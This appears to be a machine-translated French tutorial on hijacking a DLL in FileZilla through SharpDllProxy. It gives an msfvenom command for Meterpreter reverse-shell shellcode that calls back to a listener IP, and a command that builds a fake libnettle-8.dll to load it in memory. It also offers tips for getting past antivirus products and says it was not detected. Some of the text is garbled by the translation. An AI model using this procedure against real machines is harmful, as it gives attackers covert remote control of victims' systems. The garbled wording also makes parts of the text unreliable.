Détournement de DLL
Après la version Windows 7, le système utilise des KnowDLL pour gérer les DLL, qui se trouvent sous le registre HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlSession ManagerKnownDLLs. Les fichiers DLL sous celui-ci ne pourront pas être appelés à partir du répertoire où se trouve l'exe lui-même, et. ne peut être appelé qu'à partir du répertoire Appelé depuis le répertoire système (System32). La raison du piratage de DLL est que toutes les DLL ne sont pas écrites dans le registre.
Utilisez la DLL générée par msfvenom pour tuer directement.
SharpDllProxy
Le nom ressemble à un proxy chaussettes. Source de l'outil : https://redteaming.co.uk/2020/07/12/dll-proxy-loading-your-favorite-c-implant/. Pour une implémentation spécifique, vous pouvez également vous référer au blog de ce patron
Avant-propos
Comprenez d'abord le principe de fonctionnement de la bibliothèque de liens dynamiques. Si l'application A souhaite utiliser la fonction GetFunkyData() dans la bibliothèque de liens dynamiques DataFunctions.dll, elle doit charger la bibliothèque de liens dynamiques DataFunctions.dll. Cet outil est basé sur cette considération. Il crée une bibliothèque de liens dynamiques du même nom que DataFunction.dll. Il a deux fonctions : ① Créer une touche de raccourci pour transférer toutes les fonctions vers la véritable bibliothèque de liens dynamiques DataFunctions.dll. l'origine du proxy dans le nom ; ② Écrivez le shellcode dans ce faux DataFunctions.dll. Ci-joint la photo originale de l'auteur :
Processus expérimental
Programme cible
Il a fallu un certain temps pour faire cette expérience, comme le logiciel FileZilla, comment trouver la dll qui doit être chargée ? Comme l'a dit l'auteur, copiez le logiciel et vous saurez ce qui lui manque. Comme suit :
Cela signifie que le fichier DLL doit être chargé pour exécuter l'application, alors créez un faux libnettle-8.dll pour cette DLL.
Générer le shellcode
<br>
<br>
msfvenom -a x64 -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.124.29 LPORT=4444 -f raw > shell.bin
L'expérience commence
Premier téléchargement SharpDllProxy : https : / / github.com/Flangvik/SharpDllProxy, puis utilisez Visual Studio 2019 pour le compiler. Essayez de ne pas utiliser d'autres versions, car j'ai utilisé Visual Studio 2017 et j'ai signalé diverses erreurs pendant une longue période.
Utilisez directement SharpDllProxy sous vs pour ouvrir le fichier --> Générer une solution
Utilisez SharpDllProxy.dll pour créer un faux fichier libnettle-8.dll. Placez shell.bin et la DLL qui doit être simulée dans le fichier de l'image ci-dessus. Exécutez la commande suivante : .SharpDllProxy.exe --dll libnettle-8.dll --payload shell.bin
Le fichier généré contient un fichier C et une dll. Ce fichier dll est le fichier libnettle-8.dll d'origine.
Analysons ce programme en langage C. De la ligne 9 à la ligne 494, ce sont toutes les fonctions qui transmettent la DLL. Toutes les fonctions qui doivent être exécutées sont transmises à la DLL d'origine pour traitement.
La ligne 497 est l'endroit où nous avons inséré le shellcode. C'est le seul code clé. En fait, vous pouvez également écrire directement le shellcode shell.bin dans le fichier, ce qui réduit le nombre de fichiers suspects. Ici, nous lisons et exécutons le shellcode en mode binaire via l'opération de mémoire VirtualAlloc. À ce stade, vous pouvez opérer comme un tigre par vous-même et utiliser diverses postures anti-meurtre, telles que changer la méthode de chargement, comme chiffrer d'abord le shellcode, puis le déchiffrer pour l'exécuter.
Utilisez VS pour compiler le fichier C ci-dessus. Sélectionnez Nouveau dans le menu Fichier, puis sélectionnez Dynamic Link Library Project et nommez le projet libnettle-8. Copiez le code du fichier C ci-dessus dans VS pour compiler
Envoyez les trois fichiers ci-dessus (tmpD475.dll, libnettle-8.dll, shell.bin) au système cible. Utilisez msf pour écouter, puis exécutez le programme et la session sera renvoyée.
À l'aide du logiciel antivirus le plus couramment utilisé : 360, Tinder et Safe Manager n'ont pas été détectés.
Ce qui précède est le contenu détaillé de. pour plus d'informations, suivez d'autres articles connexes sur le site Web de PHP en chinois!